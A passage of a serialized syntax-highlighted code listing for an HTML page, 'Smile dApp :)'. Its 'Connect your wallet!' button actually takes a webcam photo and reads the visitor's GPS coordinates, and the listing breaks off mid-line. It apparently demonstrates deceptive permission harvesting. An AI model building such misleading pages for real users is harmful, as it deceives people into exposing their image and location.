html",{"type":19,"tag":168,"props":154468,"children":154469},{"style":29848},[154470],{"type":24,"value":3427},{"type":19,"tag":168,"props":154472,"children":154473},{"class":170,"line":198},[154474,154478,154482],{"type":19,"tag":168,"props":154475,"children":154476},{"style":29848},[154477],{"type":24,"value":3240},{"type":19,"tag":168,"props":154479,"children":154480},{"style":382},[154481],{"type":24,"value":29855},{"type":19,"tag":168,"props":154483,"children":154484},{"style":29848},[154485],{"type":24,"value":3427},{"type":19,"tag":168,"props":154487,"children":154488},{"class":170,"line":415},[154489,154493,154498],{"type":19,"tag":168,"props":154490,"children":154491},{"style":29848},[154492],{"type":24,"value":3240},{"type":19,"tag":168,"props":154494,"children":154495},{"style":382},[154496],{"type":24,"value":154497},"head",{"type":19,"tag":168,"props":154499,"children":154500},{"style":29848},[154501],{"type":24,"value":3427},{"type":19,"tag":168,"props":154503,"children":154504},{"class":170,"line":450},[154505,154509,154514,154519,154523,154528],{"type":19,"tag":168,"props":154506,"children":154507},{"style":29848},[154508],{"type":24,"value":29918},{"type":19,"tag":168,"props":154510,"children":154511},{"style":382},[154512],{"type":24,"value":154513},"meta",{"type":19,"tag":168,"props":154515,"children":154516},{"style":393},[154517],{"type":24,"value":154518}," charset",{"type":19,"tag":168,"props":154520,"children":154521},{"style":212},[154522],{"type":24,"value":486},{"type":19,"tag":168,"props":154524,"children":154525},{"style":181},[154526],{"type":24,"value":154527},"\"utf-8\"",{"type":19,"tag":168,"props":154529,"children":154530},{"style":29848},[154531],{"type":24,"value":3427},{"type":19,"tag":168,"props":154533,"children":154534},{"class":170,"line":560},[154535,154539,154543,154547,154551],{"type":19,"tag":168,"props":154536,"children":154537},{"style":29848},[154538],{"type":24,"value":29918},{"type":19,"tag":168,"props":154540,"children":154541},{"style":382},[154542],{"type":24,"value":31777},{"type":19,"tag":168,"props":154544,"children":154545},{"style":29848},[154546],{"type":24,"value":47548},{"type":19,"tag":168,"props":154548,"children":154549},{"style":382},[154550],{"type":24,"value":31777},{"type":19,"tag":168,"props":154552,"children":154553},{"style":29848},[154554],{"type":24,"value":3427},{"type":19,"tag":168,"props":154556,"children":154557},{"class":170,"line":666},[154558,154562,154566],{"type":19,"tag":168,"props":154559,"children":154560},{"style":29848},[154561],{"type":24,"value":29902},{"type":19,"tag":168,"props":154563,"children":154564},{"style":382},[154565],{"type":24,"value":154497},{"type":19,"tag":168,"props":154567,"children":154568},{"style":29848},[154569],{"type":24,"value":3427},{"type":19,"tag":168,"props":154571,"children":154572},{"class":170,"line":694},[154573,154577,154581],{"type":19,"tag":168,"props":154574,"children":154575},{"style":29848},[154576],{"type":24,"value":3240},{"type":19,"tag":168,"props":154578,"children":154579},{"style":382},[154580],{"type":24,"value":29872},{"type":19,"tag":168,"props":154582,"children":154583},{"style":29848},[154584],{"type":24,"value":3427},{"type":19,"tag":168,"props":154586,"children":154587},{"class":170,"line":707},[154588,154592,154596,154600,154605,154609,154613],{"type":19,"tag":168,"props":154589,"children":154590},{"style":29848},[154591],{"type":24,"value":29918},{"type":19,"tag":168,"props":154593,"children":154594},{"style":382},[154595],{"type":24,"value":36},{"type":19,"tag":168,"props":154597,"children":154598},{"style":29848},[154599],{"type":24,"value":7905},{"type":19,"tag":168,"props":154601,"children":154602},{"style":212},[154603],{"type":24,"value":154604},"Smile dApp :)",{"type":19,"tag":168,"props":154606,"children":154607},{"style":29848},[154608],{"type":24,"value":29902},{"type":19,"tag":168,"props":154610,"children":154611},{"style":382},[154612],{"type":24,"value":36},{"type":19,"tag":168,"props":154614,"children":154615},{"style":29848},[154616],{"type":24,"value":3427},{"type":19,"tag":168,"props":154618,"children":154619},{"class":170,"line":725},[154620,154624,154629,154633,154637,154642,154646,154651,154655,154659],{"type":19,"tag":168,"props":154621,"children":154622},{"style":29848},[154623],{"type":24,"value":29918},{"type":19,"tag":168,"props":154625,"children":154626},{"style":382},[154627],{"type":24,"value":154628},"button",{"type":19,"tag":168,"props":154630,"children":154631},{"style":393},[154632],{"type":24,"value":29928},{"type":19,"tag":168,"props":154634,"children":154635},{"style":212},[154636],{"type":24,"value":486},{"type":19,"tag":168,"props":154638,"children":154639},{"style":181},[154640],{"type":24,"value":154641},"\"connect\"",{"type":19,"tag":168,"props":154643,"children":154644},{"style":29848},[154645],{"type":24,"value":7905},{"type":19,"tag":168,"props":154647,"children":154648},{"style":212},[154649],{"type":24,"value":154650},"Connect your wallet!",{"type":19,"tag":168,"props":154652,"children":154653},{"style":29848},[154654],{"type":24,"value":29902},{"type":19,"tag":168,"props":154656,"children":154657},{"style":382},[154658],{"type":24,"value":154628},{"type":19,"tag":168,"props":154660,"children":154661},{"style":29848},[154662],{"type":24,"value":3427},{"type":19,"tag":168,"props":154664,"children":154665},{"class":170,"line":746},[154666,154670,154674,154678,154682,154687,154691,154695],{"type":19,"tag":168,"props":154667,"children":154668},{"style":29848},[154669],{"type":24,"value":29918},{"type":19,"tag":168,"props":154671,"children":154672},{"style":382},[154673],{"type":24,"value":158},{"type":19,"tag":168,"props":154675,"children":154676},{"style":393},[154677],{"type":24,"value":29928},{"type":19,"tag":168,"props":154679,"children":154680},{"style":212},[154681],{"type":24,"value":486},{"type":19,"tag":168,"props":154683,"children":154684},{"style":181},[154685],{"type":24,"value":154686},"\"gps\"",{"type":19,"tag":168,"props":154688,"children":154689},{"style":29848},[154690],{"type":24,"value":47548},{"type":19,"tag":168,"props":154692,"children":154693},{"style":382},[154694],{"type":24,"value":158},{"type":19,"tag":168,"props":154696,"children":154697},{"style":29848},[154698],{"type":24,"value":3427},{"type":19,"tag":168,"props":154700,"children":154701},{"class":170,"line":755},[154702,154706,154710,154714,154718,154723],{"type":19,"tag":168,"props":154703,"children":154704},{"style":29848},[154705],{"type":24,"value":29918},{"type":19,"tag":168,"props":154707,"children":154708},{"style":382},[154709],{"type":24,"value":1344},{"type":19,"tag":168,"props":154711,"children":154712},{"style":393},[154713],{"type":24,"value":29928},{"type":19,"tag":168,"props":154715,"children":154716},{"style":212},[154717],{"type":24,"value":486},{"type":19,"tag":168,"props":154719,"children":154720},{"style":181},[154721],{"type":24,"value":154722},"\"pic\"",{"type":19,"tag":168,"props":154724,"children":154725},{"style":29848},[154726],{"type":24,"value":3427},{"type":19,"tag":168,"props":154728,"children":154729},{"class":170,"line":1008},[154730,154734,154738],{"type":19,"tag":168,"props":154731,"children":154732},{"style":29848},[154733],{"type":24,"value":29918},{"type":19,"tag":168,"props":154735,"children":154736},{"style":382},[154737],{"type":24,"value":29888},{"type":19,"tag":168,"props":154739,"children":154740},{"style":29848},[154741],{"type":24,"value":3427},{"type":19,"tag":168,"props":154743,"children":154744},{"class":170,"line":1025},[154745,154750,154754,154759,154763,154768,154772,154776,154780,154784],{"type":19,"tag":168,"props":154746,"children":154747},{"style":393},[154748],{"type":24,"value":154749}," window",{"type":19,"tag":168,"props":154751,"children":154752},{"style":399},[154753],{"type":24,"value":948},{"type":19,"tag":168,"props":154755,"children":154756},{"style":175},[154757],{"type":24,"value":154758},"addEventListener",{"type":19,"tag":168,"props":154760,"children":154761},{"style":399},[154762],{"type":24,"value":500},{"type":19,"tag":168,"props":154764,"children":154765},{"style":181},[154766],{"type":24,"value":154767},"'unhandledrejection'",{"type":19,"tag":168,"props":154769,"children":154770},{"style":399},[154771],{"type":24,"value":471},{"type":19,"tag":168,"props":154773,"children":154774},{"style":382},[154775],{"type":24,"value":28849},{"type":19,"tag":168,"props":154777,"children":154778},{"style":399},[154779],{"type":24,"value":461},{"type":19,"tag":168,"props":154781,"children":154782},{"style":393},[154783],{"type":24,"value":79617},{"type":19,"tag":168,"props":154785,"children":154786},{"style":399},[154787],{"type":24,"value":12250},{"type":19,"tag":168,"props":154789,"children":154790},{"class":170,"line":1042},[154791,154796,154800,154805,154809,154813,154817,154822,154826,154830],{"type":19,"tag":168,"props":154792,"children":154793},{"style":175},[154794],{"type":24,"value":154795}," alert",{"type":19,"tag":168,"props":154797,"children":154798},{"style":399},[154799],{"type":24,"value":500},{"type":19,"tag":168,"props":154801,"children":154802},{"style":181},[154803],{"type":24,"value":154804},"`Unhandled Promise Rejection: ",{"type":19,"tag":168,"props":154806,"children":154807},{"style":382},[154808],{"type":24,"value":31582},{"type":19,"tag":168,"props":154810,"children":154811},{"style":393},[154812],{"type":24,"value":79617},{"type":19,"tag":168,"props":154814,"children":154815},{"style":399},[154816],{"type":24,"value":948},{"type":19,"tag":168,"props":154818,"children":154819},{"style":393},[154820],{"type":24,"value":154821},"reason",{"type":19,"tag":168,"props":154823,"children":154824},{"style":382},[154825],{"type":24,"value":31614},{"type":19,"tag":168,"props":154827,"children":154828},{"style":181},[154829],{"type":24,"value":7825},{"type":19,"tag":168,"props":154831,"children":154832},{"style":399},[154833],{"type":24,"value":1249},{"type":19,"tag":168,"props":154835,"children":154836},{"class":170,"line":1055},[154837],{"type":19,"tag":168,"props":154838,"children":154839},{"style":399},[154840],{"type":24,"value":154841}," });\n",{"type":19,"tag":168,"props":154843,"children":154844},{"class":170,"line":1064},[154845,154849,154853,154857,154861,154865,154869,154873,154877,154881,154885,154889,154893,154898,154902,154906],{"type":19,"tag":168,"props":154846,"children":154847},{"style":393},[154848],{"type":24,"value":154749},{"type":19,"tag":168,"props":154850,"children":154851},{"style":399},[154852],{"type":24,"value":948},{"type":19,"tag":168,"props":154854,"children":154855},{"style":175},[154856],{"type":24,"value":30161},{"type":19,"tag":168,"props":154858,"children":154859},{"style":399},[154860],{"type":24,"value":30384},{"type":19,"tag":168,"props":154862,"children":154863},{"style":382},[154864],{"type":24,"value":28849},{"type":19,"tag":168,"props":154866,"children":154867},{"style":399},[154868],{"type":24,"value":461},{"type":19,"tag":168,"props":154870,"children":154871},{"style":393},[154872],{"type":24,"value":55430},{"type":19,"tag":168,"props":154874,"children":154875},{"style":399},[154876],{"type":24,"value":471},{"type":19,"tag":168,"props":154878,"children":154879},{"style":393},[154880],{"type":24,"value":67864},{"type":19,"tag":168,"props":154882,"children":154883},{"style":399},[154884],{"type":24,"value":471},{"type":19,"tag":168,"props":154886,"children":154887},{"style":393},[154888],{"type":24,"value":170},{"type":19,"tag":168,"props":154890,"children":154891},{"style":399},[154892],{"type":24,"value":471},{"type":19,"tag":168,"props":154894,"children":154895},{"style":393},[154896],{"type":24,"value":154897},"col",{"type":19,"tag":168,"props":154899,"children":154900},{"style":399},[154901],{"type":24,"value":471},{"type":19,"tag":168,"props":154903,"children":154904},{"style":393},[154905],{"type":24,"value":12310},{"type":19,"tag":168,"props":154907,"children":154908},{"style":399},[154909],{"type":24,"value":12250},{"type":19,"tag":168,"props":154911,"children":154912},{"class":170,"line":1087},[154913,154917,154921,154926,154930,154934],{"type":19,"tag":168,"props":154914,"children":154915},{"style":175},[154916],{"type":24,"value":154795},{"type":19,"tag":168,"props":154918,"children":154919},{"style":399},[154920],{"type":24,"value":500},{"type":19,"tag":168,"props":154922,"children":154923},{"style":181},[154924],{"type":24,"value":154925},"'onerror: '",{"type":19,"tag":168,"props":154927,"children":154928},{"style":399},[154929],{"type":24,"value":32170},{"type":19,"tag":168,"props":154931,"children":154932},{"style":393},[154933],{"type":24,"value":55430},{"type":19,"tag":168,"props":154935,"children":154936},{"style":399},[154937],{"type":24,"value":1249},{"type":19,"tag":168,"props":154939,"children":154940},{"class":170,"line":1096},[154941,154945,154949],{"type":19,"tag":168,"props":154942,"children":154943},{"style":419},[154944],{"type":24,"value":76565},{"type":19,"tag":168,"props":154946,"children":154947},{"style":382},[154948],{"type":24,"value":6497},{"type":19,"tag":168,"props":154950,"children":154951},{"style":399},[154952],{"type":24,"value":412},{"type":19,"tag":168,"props":154954,"children":154955},{"class":170,"line":1105},[154956],{"type":19,"tag":168,"props":154957,"children":154958},{"style":399},[154959],{"type":24,"value":154960}," };\n",{"type":19,"tag":168,"props":154962,"children":154963},{"class":170,"line":1174},[154964],{"type":19,"tag":168,"props":154965,"children":154966},{"emptyLinePlaceholder":14},[154967],{"type":24,"value":1093},{"type":19,"tag":168,"props":154969,"children":154970},{"class":170,"line":1182},[154971,154976,154980,154984],{"type":19,"tag":168,"props":154972,"children":154973},{"style":382},[154974],{"type":24,"value":154975}," async",{"type":19,"tag":168,"props":154977,"children":154978},{"style":382},[154979],{"type":24,"value":35689},{"type":19,"tag":168,"props":154981,"children":154982},{"style":175},[154983],{"type":24,"value":88269},{"type":19,"tag":168,"props":154985,"children":154986},{"style":399},[154987],{"type":24,"value":13184},{"type":19,"tag":168,"props":154989,"children":154990},{"class":170,"line":1212},[154991,154995,155000,155004,155008,155013,155017,155022,155026,155031,155035,155040,155044],{"type":19,"tag":168,"props":154992,"children":154993},{"style":382},[154994],{"type":24,"value":148521},{"type":19,"tag":168,"props":154996,"children":154997},{"style":393},[154998],{"type":24,"value":154999}," stream",{"type":19,"tag":168,"props":155001,"children":155002},{"style":399},[155003],{"type":24,"value":30384},{"type":19,"tag":168,"props":155005,"children":155006},{"style":419},[155007],{"type":24,"value":30389},{"type":19,"tag":168,"props":155009,"children":155010},{"style":393},[155011],{"type":24,"value":155012}," navigator",{"type":19,"tag":168,"props":155014,"children":155015},{"style":399},[155016],{"type":24,"value":948},{"type":19,"tag":168,"props":155018,"children":155019},{"style":393},[155020],{"type":24,"value":155021},"mediaDevices",{"type":19,"tag":168,"props":155023,"children":155024},{"style":399},[155025],{"type":24,"value":948},{"type":19,"tag":168,"props":155027,"children":155028},{"style":175},[155029],{"type":24,"value":155030},"getUserMedia",{"type":19,"tag":168,"props":155032,"children":155033},{"style":399},[155034],{"type":24,"value":28970},{"type":19,"tag":168,"props":155036,"children":155037},{"style":393},[155038],{"type":24,"value":155039},"video:",{"type":19,"tag":168,"props":155041,"children":155042},{"style":382},[155043],{"type":24,"value":9914},{"type":19,"tag":168,"props":155045,"children":155046},{"style":399},[155047],{"type":24,"value":36310},{"type":19,"tag":168,"props":155049,"children":155050},{"class":170,"line":1220},[155051,155055,155060,155064,155068,155072,155076,155080,155085],{"type":19,"tag":168,"props":155052,"children":155053},{"style":382},[155054],{"type":24,"value":148521},{"type":19,"tag":168,"props":155056,"children":155057},{"style":393},[155058],{"type":24,"value":155059}," video",{"type":19,"tag":168,"props":155061,"children":155062},{"style":399},[155063],{"type":24,"value":30384},{"type":19,"tag":168,"props":155065,"children":155066},{"style":393},[155067],{"type":24,"value":30180},{"type":19,"tag":168,"props":155069,"children":155070},{"style":399},[155071],{"type":24,"value":948},{"type":19,"tag":168,"props":155073,"children":155074},{"style":175},[155075],{"type":24,"value":34196},{"type":19,"tag":168,"props":155077,"children":155078},{"style":399},[155079],{"type":24,"value":500},{"type":19,"tag":168,"props":155081,"children":155082},{"style":181},[155083],{"type":24,"value":155084},"\"video\"",{"type":19,"tag":168,"props":155086,"children":155087},{"style":399},[155088],{"type":24,"value":1249},{"type":19,"tag":168,"props":155090,"children":155091},{"class":170,"line":1252},[155092,155097,155101,155106,155110,155114],{"type":19,"tag":168,"props":155093,"children":155094},{"style":393},[155095],{"type":24,"value":155096}," video",{"type":19,"tag":168,"props":155098,"children":155099},{"style":399},[155100],{"type":24,"value":948},{"type":19,"tag":168,"props":155102,"children":155103},{"style":393},[155104],{"type":24,"value":155105},"srcObject",{"type":19,"tag":168,"props":155107,"children":155108},{"style":399},[155109],{"type":24,"value":30384},{"type":19,"tag":168,"props":155111,"children":155112},{"style":393},[155113],{"type":24,"value":33736},{"type":19,"tag":168,"props":155115,"children":155116},{"style":399},[155117],{"type":24,"value":412},{"type":19,"tag":168,"props":155119,"children":155120},{"class":170,"line":1260},[155121,155125,155130,155134,155138,155142,155146,155150,155155],{"type":19,"tag":168,"props":155122,"children":155123},{"style":382},[155124],{"type":24,"value":148521},{"type":19,"tag":168,"props":155126,"children":155127},{"style":393},[155128],{"type":24,"value":155129}," canvas",{"type":19,"tag":168,"props":155131,"children":155132},{"style":399},[155133],{"type":24,"value":30384},{"type":19,"tag":168,"props":155135,"children":155136},{"style":393},[155137],{"type":24,"value":30180},{"type":19,"tag":168,"props":155139,"children":155140},{"style":399},[155141],{"type":24,"value":948},{"type":19,"tag":168,"props":155143,"children":155144},{"style":175},[155145],{"type":24,"value":34196},{"type":19,"tag":168,"props":155147,"children":155148},{"style":399},[155149],{"type":24,"value":500},{"type":19,"tag":168,"props":155151,"children":155152},{"style":181},[155153],{"type":24,"value":155154},"\"canvas\"",{"type":19,"tag":168,"props":155156,"children":155157},{"style":399},[155158],{"type":24,"value":1249},{"type":19,"tag":168,"props":155160,"children":155161},{"class":170,"line":1320},[155162],{"type":19,"tag":168,"props":155163,"children":155164},{"emptyLinePlaceholder":14},[155165],{"type":24,"value":1093},{"type":19,"tag":168,"props":155167,"children":155168},{"class":170,"line":6486},[155169,155173,155177,155182,155187,155191],{"type":19,"tag":168,"props":155170,"children":155171},{"style":393},[155172],{"type":24,"value":155096},{"type":19,"tag":168,"props":155174,"children":155175},{"style":399},[155176],{"type":24,"value":948},{"type":19,"tag":168,"props":155178,"children":155179},{"style":175},[155180],{"type":24,"value":155181},"onloadedmetadata",{"type":19,"tag":168,"props":155183,"children":155184},{"style":399},[155185],{"type":24,"value":155186}," = () ",{"type":19,"tag":168,"props":155188,"children":155189},{"style":382},[155190],{"type":24,"value":12268},{"type":19,"tag":168,"props":155192,"children":155193},{"style":399},[155194],{"type":24,"value":691},{"type":19,"tag":168,"props":155196,"children":155197},{"class":170,"line":6504},[155198,155203,155207,155212,155216,155220,155224,155229],{"type":19,"tag":168,"props":155199,"children":155200},{"style":393},[155201],{"type":24,"value":155202}," canvas",{"type":19,"tag":168,"props":155204,"children":155205},{"style":399},[155206],{"type":24,"value":948},{"type":19,"tag":168,"props":155208,"children":155209},{"style":393},[155210],{"type":24,"value":155211},"width",{"type":19,"tag":168,"props":155213,"children":155214},{"style":399},[155215],{"type":24,"value":30384},{"type":19,"tag":168,"props":155217,"children":155218},{"style":393},[155219],{"type":24,"value":129345},{"type":19,"tag":168,"props":155221,"children":155222},{"style":399},[155223],{"type":24,"value":948},{"type":19,"tag":168,"props":155225,"children":155226},{"style":393},[155227],{"type":24,"value":155228},"videoWidth",{"type":19,"tag":168,"props":155230,"children":155231},{"style":399},[155232],{"type":24,"value":412},{"type":19,"tag":168,"props":155234,"children":155235},{"class":170,"line":6549},[155236,155240,155244,155249,155253,155257,155261,155266],{"type":19,"tag":168,"props":155237,"children":155238},{"style":393},[155239],{"type":24,"value":155202},{"type":19,"tag":168,"props":155241,"children":155242},{"style":399},[155243],{"type":24,"value":948},{"type":19,"tag":168,"props":155245,"children":155246},{"style":393},[155247],{"type":24,"value":155248},"height",{"type":19,"tag":168,"props":155250,"children":155251},{"style":399},[155252],{"type":24,"value":30384},{"type":19,"tag":168,"props":155254,"children":155255},{"style":393},[155256],{"type":24,"value":129345},{"type":19,"tag":168,"props":155258,"children":155259},{"style":399},[155260],{"type":24,"value":948},{"type":19,"tag":168,"props":155262,"children":155263},{"style":393},[155264],{"type":24,"value":155265},"videoHeight",{"type":19,"tag":168,"props":155267,"children":155268},{"style":399},[155269],{"type":24,"value":412},{"type":19,"tag":168,"props":155271,"children":155272},{"class":170,"line":6655},[155273],{"type":19,"tag":168,"props":155274,"children":155275},{"style":399},[155276],{"type":24,"value":45556},{"type":19,"tag":168,"props":155278,"children":155279},{"class":170,"line":20965},[155280],{"type":19,"tag":168,"props":155281,"children":155282},{"emptyLinePlaceholder":14},[155283],{"type":24,"value":1093},{"type":19,"tag":168,"props":155285,"children":155286},{"class":170,"line":21000},[155287,155292,155296,155301,155305,155309,155313],{"type":19,"tag":168,"props":155288,"children":155289},{"style":393},[155290],{"type":24,"value":155291}," connect",{"type":19,"tag":168,"props":155293,"children":155294},{"style":399},[155295],{"type":24,"value":948},{"type":19,"tag":168,"props":155297,"children":155298},{"style":175},[155299],{"type":24,"value":155300},"onclick",{"type":19,"tag":168,"props":155302,"children":155303},{"style":399},[155304],{"type":24,"value":30384},{"type":19,"tag":168,"props":155306,"children":155307},{"style":393},[155308],{"type":24,"value":48937},{"type":19,"tag":168,"props":155310,"children":155311},{"style":382},[155312],{"type":24,"value":25221},{"type":19,"tag":168,"props":155314,"children":155315},{"style":399},[155316],{"type":24,"value":691},{"type":19,"tag":168,"props":155318,"children":155319},{"class":170,"line":21008},[155320,155325,155329,155334],{"type":19,"tag":168,"props":155321,"children":155322},{"style":393},[155323],{"type":24,"value":155324}," video",{"type":19,"tag":168,"props":155326,"children":155327},{"style":399},[155328],{"type":24,"value":948},{"type":19,"tag":168,"props":155330,"children":155331},{"style":175},[155332],{"type":24,"value":155333},"play",{"type":19,"tag":168,"props":155335,"children":155336},{"style":399},[155337],{"type":24,"value":1084},{"type":19,"tag":168,"props":155339,"children":155340},{"class":170,"line":21016},[155341],{"type":19,"tag":168,"props":155342,"children":155343},{"emptyLinePlaceholder":14},[155344],{"type":24,"value":1093},{"type":19,"tag":168,"props":155346,"children":155347},{"class":170,"line":21025},[155348,155352,155356,155361,155365,155370,155374,155379,155383,155387,155391,155395,155399,155403],{"type":19,"tag":168,"props":155349,"children":155350},{"style":393},[155351],{"type":24,"value":155202},{"type":19,"tag":168,"props":155353,"children":155354},{"style":399},[155355],{"type":24,"value":948},{"type":19,"tag":168,"props":155357,"children":155358},{"style":175},[155359],{"type":24,"value":155360},"getContext",{"type":19,"tag":168,"props":155362,"children":155363},{"style":399},[155364],{"type":24,"value":500},{"type":19,"tag":168,"props":155366,"children":155367},{"style":181},[155368],{"type":24,"value":155369},"\"2d\"",{"type":19,"tag":168,"props":155371,"children":155372},{"style":399},[155373],{"type":24,"value":18197},{"type":19,"tag":168,"props":155375,"children":155376},{"style":175},[155377],{"type":24,"value":155378},"drawImage",{"type":19,"tag":168,"props":155380,"children":155381},{"style":399},[155382],{"type":24,"value":500},{"type":19,"tag":168,"props":155384,"children":155385},{"style":393},[155386],{"type":24,"value":129345},{"type":19,"tag":168,"props":155388,"children":155389},{"style":399},[155390],{"type":24,"value":471},{"type":19,"tag":168,"props":155392,"children":155393},{"style":192},[155394],{"type":24,"value":1452},{"type":19,"tag":168,"props":155396,"children":155397},{"style":399},[155398],{"type":24,"value":471},{"type":19,"tag":168,"props":155400,"children":155401},{"style":192},[155402],{"type":24,"value":1452},{"type":19,"tag":168,"props":155404,"children":155405},{"style":399},[155406],{"type":24,"value":1249},{"type":19,"tag":168,"props":155408,"children":155409},{"class":170,"line":21067},[155410,155415,155419,155424,155428,155433,155437,155441,155445,155450,155454,155459],{"type":19,"tag":168,"props":155411,"children":155412},{"style":393},[155413],{"type":24,"value":155414}," stream",{"type":19,"tag":168,"props":155416,"children":155417},{"style":399},[155418],{"type":24,"value":948},{"type":19,"tag":168,"props":155420,"children":155421},{"style":175},[155422],{"type":24,"value":155423},"getTracks",{"type":19,"tag":168,"props":155425,"children":155426},{"style":399},[155427],{"type":24,"value":27639},{"type":19,"tag":168,"props":155429,"children":155430},{"style":175},[155431],{"type":24,"value":155432},"forEach",{"type":19,"tag":168,"props":155434,"children":155435},{"style":399},[155436],{"type":24,"value":500},{"type":19,"tag":168,"props":155438,"children":155439},{"style":393},[155440],{"type":24,"value":19185},{"type":19,"tag":168,"props":155442,"children":155443},{"style":382},[155444],{"type":24,"value":25221},{"type":19,"tag":168,"props":155446,"children":155447},{"style":393},[155448],{"type":24,"value":155449}," t",{"type":19,"tag":168,"props":155451,"children":155452},{"style":399},[155453],{"type":24,"value":948},{"type":19,"tag":168,"props":155455,"children":155456},{"style":175},[155457],{"type":24,"value":155458},"stop",{"type":19,"tag":168,"props":155460,"children":155461},{"style":399},[155462],{"type":24,"value":12872},{"type":19,"tag":168,"props":155464,"children":155465},{"class":170,"line":21100},[155466,155470,155474,155479,155483,155487,155491,155495],{"type":19,"tag":168,"props":155467,"children":155468},{"style":393},[155469],{"type":24,"value":155202},{"type":19,"tag":168,"props":155471,"children":155472},{"style":399},[155473],{"type":24,"value":948},{"type":19,"tag":168,"props":155475,"children":155476},{"style":175},[155477],{"type":24,"value":155478},"toBlob",{"type":19,"tag":168,"props":155480,"children":155481},{"style":399},[155482],{"type":24,"value":28995},{"type":19,"tag":168,"props":155484,"children":155485},{"style":393},[155486],{"type":24,"value":30421},{"type":19,"tag":168,"props":155488,"children":155489},{"style":399},[155490],{"type":24,"value":481},{"type":19,"tag":168,"props":155492,"children":155493},{"style":382},[155494],{"type":24,"value":12268},{"type":19,"tag":168,"props":155496,"children":155497},{"style":399},[155498],{"type":24,"value":691},{"type":19,"tag":168,"props":155500,"children":155501},{"class":170,"line":21108},[155502,155507,155511,155515,155519,155524,155528,155533,155537,155541],{"type":19,"tag":168,"props":155503,"children":155504},{"style":393},[155505],{"type":24,"value":155506}," pic",{"type":19,"tag":168,"props":155508,"children":155509},{"style":399},[155510],{"type":24,"value":948},{"type":19,"tag":168,"props":155512,"children":155513},{"style":393},[155514],{"type":24,"value":30142},{"type":19,"tag":168,"props":155516,"children":155517},{"style":399},[155518],{"type":24,"value":30384},{"type":19,"tag":168,"props":155520,"children":155521},{"style":393},[155522],{"type":24,"value":155523},"URL",{"type":19,"tag":168,"props":155525,"children":155526},{"style":399},[155527],{"type":24,"value":948},{"type":19,"tag":168,"props":155529,"children":155530},{"style":175},[155531],{"type":24,"value":155532},"createObjectURL",{"type":19,"tag":168,"props":155534,"children":155535},{"style":399},[155536],{"type":24,"value":500},{"type":19,"tag":168,"props":155538,"children":155539},{"style":393},[155540],{"type":24,"value":30421},{"type":19,"tag":168,"props":155542,"children":155543},{"style":399},[155544],{"type":24,"value":1249},{"type":19,"tag":168,"props":155546,"children":155547},{"class":170,"line":21116},[155548],{"type":19,"tag":168,"props":155549,"children":155550},{"style":399},[155551],{"type":24,"value":155552}," });\n",{"type":19,"tag":168,"props":155554,"children":155555},{"class":170,"line":21125},[155556],{"type":19,"tag":168,"props":155557,"children":155558},{"emptyLinePlaceholder":14},[155559],{"type":24,"value":1093},{"type":19,"tag":168,"props":155561,"children":155562},{"class":170,"line":21201},[155563,155568,155572,155577,155581,155586,155590,155595,155599],{"type":19,"tag":168,"props":155564,"children":155565},{"style":393},[155566],{"type":24,"value":155567}," navigator",{"type":19,"tag":168,"props":155569,"children":155570},{"style":399},[155571],{"type":24,"value":948},{"type":19,"tag":168,"props":155573,"children":155574},{"style":393},[155575],{"type":24,"value":155576},"geolocation",{"type":19,"tag":168,"props":155578,"children":155579},{"style":399},[155580],{"type":24,"value":948},{"type":19,"tag":168,"props":155582,"children":155583},{"style":175},[155584],{"type":24,"value":155585},"getCurrentPosition",{"type":19,"tag":168,"props":155587,"children":155588},{"style":399},[155589],{"type":24,"value":500},{"type":19,"tag":168,"props":155591,"children":155592},{"style":393},[155593],{"type":24,"value":155594},"pos",{"type":19,"tag":168,"props":155596,"children":155597},{"style":382},[155598],{"type":24,"value":25221},{"type":19,"tag":168,"props":155600,"children":155601},{"style":399},[155602],{"type":24,"value":691},{"type":19,"tag":168,"props":155604,"children":155605},{"class":170,"line":21234},[155606,155611,155615,155619,155623,155627,155632],{"type":19,"tag":168,"props":155607,"children":155608},{"style":382},[155609],{"type":24,"value":155610}," const",{"type":19,"tag":168,"props":155612,"children":155613},{"style":393},[155614],{"type":24,"value":34920},{"type":19,"tag":168,"props":155616,"children":155617},{"style":399},[155618],{"type":24,"value":30384},{"type":19,"tag":168,"props":155620,"children":155621},{"style":393},[155622],{"type":24,"value":155594},{"type":19,"tag":168,"props":155624,"children":155625},{"style":399},[155626],{"type":24,"value":948},{"type":19,"tag":168,"props":155628,"children":155629},{"style":393},[155630],{"type":24,"value":155631},"coords",{"type":19,"tag":168,"props":155633,"children":155634},{"style":399},[155635],{"type":24,"value":412},{"type":19,"tag":168,"props":155637,"children":155638},{"class":170,"line":21242},[155639,155644,155648,155652,155656,155661,155665,155669,155673,155678,155682,155687,155691,155695,155699,155703,155707,155712,155716,155720,155724,155729,155733,155737,155741,155745,155749,155753,155757],{"type":19,"tag":168,"props":155640,"children":155641},{"style":393},[155642],{"type":24,"value":155643}," gps",{"type":19,"tag":168,"props":155645,"children":155646},{"style":399},[155647],{"type":24,"value":948},{"type":19,"tag":168,"props":155649,"children":155650},{"style":393},[155651],{"type":24,"value":32438},{"type":19,"tag":168,"props":155653,"children":155654},{"style":399},[155655],{"type":24,"value":30384},{"type":19,"tag":168,"props":155657,"children":155658},{"style":181},[155659],{"type":24,"value":155660},"`Lat: ",{"type":19,"tag":168,"props":155662,"children":155663},{"style":382},[155664],{"type":24,"value":31582},{"type":19,"tag":168,"props":155666,"children":155667},{"style":393},[155668],{"type":24,"value":543},{"type":19,"tag":168,"props":155670,"children":155671},{"style":399},[155672],{"type":24,"value":948},{"type":19,"tag":168,"props":155674,"children":155675},{"style":393},[155676],{"type":24,"value":155677},"latitude",{"type":19,"tag":168,"props":155679,"children":155680},{"style":399},[155681],{"type":24,"value":948},{"type":19,"tag":168,"props":155683,"children":155684},{"style":175},[155685],{"type":24,"value":155686},"toFixed",{"type":19,"tag":168,"props":155688,"children":155689},{"style":399},[155690],{"type":24,"value":500},{"type":19,"tag":168,"props":155692,"children":155693},{"style":192},[155694],{"type":24,"value":1442},{"type":19,"tag":168,"props":155696,"children":155697},{"style":399},[155698],{"type":24,"value":524},{"type":19,"tag":168,"props":155700,"children":155701},{"style":382},[155702],{"type":24,"value":31614},{"type":19,"tag":168,"props":155704,"children":155705},{"style":45855},[155706],{"type":24,"value":45858},{"type":19,"tag":168,"props":155708,"children":155709},{"style":181},[155710],{"type":24,"value":155711},"Lon: 